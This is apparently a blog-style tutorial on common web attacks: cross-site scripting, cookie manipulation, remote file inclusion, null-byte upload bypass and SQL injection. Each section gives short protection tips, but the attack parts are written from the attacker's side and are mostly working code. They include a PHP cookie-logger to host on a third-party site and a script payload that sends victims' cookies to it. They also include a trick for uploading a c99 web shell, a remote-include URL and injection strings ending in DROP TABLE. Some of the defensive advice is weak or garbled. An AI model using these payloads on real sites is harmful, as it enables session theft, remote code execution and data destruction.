Easy attacks on your website:

Web site security is possibly today's most overlooked aspect of securing data. I tried to describe most popular web attacks here.And some simple tips to protect from attacks.

Cross side scripting (XSS):
Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. Cross site scripting occurs when a web application gathers malicious data from a user. Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to gather data from them. Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible.
Attacks:
XSS Cookie Stealer:
Here I am showing a simple technique to steal the secured cookies from a site. This is injecting some code in insecure site so that user cookies will be logged. Cookies are used on allot of websites to verify authentication. The cookies are unique for each user. So, if we take the cookies we are technically able to become that user.

Now, let’s get down to it with some cookie stealer code. First of all I need a third party host site to put some php code.

<?php
/*Ethernets Cookie Stealer */
/*Put this up on your free site */
$cookie = $_GET['cookie'];
$log = fopen("cookies11.txt","a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

This is nothing just writing a file from GET content. We will test XSS vulnerability. To test whether we are able to inject xss into the forum insert the following test script:

<script>alert(’Testing For XSS Hole’)</script>

If there is a hole the text “Testing For XSS Hole” will show up in an alert box. Now, then, if all is well and we have a permanent xss hole we can enter the following redirect code:

<script>
window.location = 'http://yoursite.com/stealer.php?cookie=' + document.cookie;
</script>>

This code redirects the user to http://yoursite.com/stealer.php and then adds the users
cookie to the end. If we now check our file there should be a user cookie inside
‘cookies11.txt’.

Cookie Manipulation:
Here this s very simple example. Sometimes you will see cookies that look like:

Admin=false;
Or
Logged_in=true;

Especially if the cookie is something like “admin=false;”, you main be wondering “How can we use this to gain administrative access?”. Easy - JavaScript injections.To view what our cookies look like on a given website we can enter some simpleJavaScript into the url bar:

Javascript:alert(document.cookie);

This will create an alert box that contains that the user has. For the sake of this demonstration, let’s say the cookies look something like this:

Logged_in=true, admin=false, fusionid=12312313

So, the only part that really matters to us is “admin=false”, the rest is just non-sense that we needn’t worry about. Obviously, you probably wont find too many websites with such a blatant vulnerability, but this is only meant to outline the basics of how to do this.Obviously, we can see that if we edit this cookie to “admin=true” we will have administrative privileges. With this next simple JavaScript injection we are able to change the cookie.

Javascript:void(document.cookie=“admin=true”);

Yes, that one line of JavaScript can give you administrative rights under the right circumstances

Protection:
The simple procedure is “Never trust user input and always filter metacharacters”. You can filter them or HTML encode them. As user experiences always try to avoid go to external links that means any link to others host. This can solve 90% of your problems.

Remote file inclusion (RFI):
Remote file inclusion is major attacks on php programs. Remote File Inclusion attacks allow malicious users to run their own PHP code on a vulnerable website. The attacker is allowed to include his own malicious code in the space provided for PHP programs on a web page. Once they can do that, they can access anything that the PHP program could: databases, password files, etc. They can install their own shell running with the privileges of the web server user (such as 'apache' or 'httpd') and if the server has not been patched for some local user privilege escalation vulnerability, the shell could be used to become the root user.

Attacks:
In default configuration of php installation allow_url_fopen = On is set. This capability even works for what, seemingly, should be restricted to the local filesystem such as the 'include' and 'require' directives.Consider the following:

include($base_path . "/foo.php");

If an attacker can control the value of the base_path variable, they can replace it with something like "http://example.com/badcode?foo=" and, instead of picking up foo.php from the local filesystem, PHP will happily reach out across the net to pick up the attacker's code. One of the ways that an attacker can control the value of a variable in a PHP program is through the use of the register_globals PHP mis-feature.Another consideration:

include($_REQUEST['own_me'] . '/foo.php');

The _REQUEST 'superglobal' array in PHP stores all of the variables that come in from the HTTP request, regardless of whether they come as a GET or a POST variable. This one is easy to exploit by making a request like:
http://vulnerable.com/RFI2.php?own_me=http://example.com/badcode
Here no need of register_globals to be on.

Protection:
Be Careful about of include() or require().
Instead using of include($page.’otherpage.php’) use include($’otherpage.php’).
And be attentive about register_globals configuration.

Null Byte – picture upload:
A null character/null byte/null terminator is a character with a value of zero that is shown in the ASCII Charest. And, in programming languages (php included) the null byte is used as, what’s know as, a ’string terminator’.








Attacks:
Now that we have a target we are able to start exploiting.go to your targets upload page and click the ‘Browse’ button and navigate to a php shell.just for the sake of Proof of Concept, try to upload this file normally. You will get an error such as:

“We’re sorry, but the file you entered is using an extension that is not alloud. Images only please!”

We see from this that only images are supported - and a regular php shell will not wok. let’s browse to our shell again, but this time we will change the upload bar to look like this, adding in the nullbyte character:

C:\c99.php.jpg

When the script checks if our file it will see the .jpg and ’say’ “Yep, looks like an image to me” and upload it. Fortunately for us, when the file is actually uploaded it is uploaded with the .php extension because the null byte terminates anything after that. If it worked we will see:

“Thank you for uploading your pictures - view your file at /c99.php”

and you’re done, Now you brows the file get your code run.

Protection:
Check the file type instead of file extension.

SQL Injection:
SQL injection is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.
Attacks:

The Target Intranet
This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. These results in the potential manipulation of the statements performed on the database by the end user of the application.

SELECT fieldlist
FROM table
WHERE field = '$EMAIL';

If $EMAIL is anything' OR 'x'='x
Then query will be,

SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';

This type of query may be used for the forgot password application. When second query executed a rowset will returned and a randomly row will selected or 1st row will be selected. And user will get email containing new password that he may not expect.

Schema field mapping:
Now we are trying to retrieve the schema (field name of a tale),Well This process will involve quite a lot of guessing.Let’s consider the following case.

SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';

Here –- is used to truncate last quote. we will guess here field ‘email’. If we get server error it means syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly.

Finding the table name:
Let’s consider the following case,

SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We can guess tablename here.Another case,

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND members.email IS NULL; --';

Finding some users:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';

Brute-force password guessing:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'bob@example.com' AND passwd = 'hello123';

The database isn't readonly:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --'; -- Boom!

Protection:
When user gives any data as input filter single quote or double quote. Or you can add additional black slash before each single quote or double quote. Different database can return the sever error message and error number. Avoid showing the errors to the user rather show users readable message.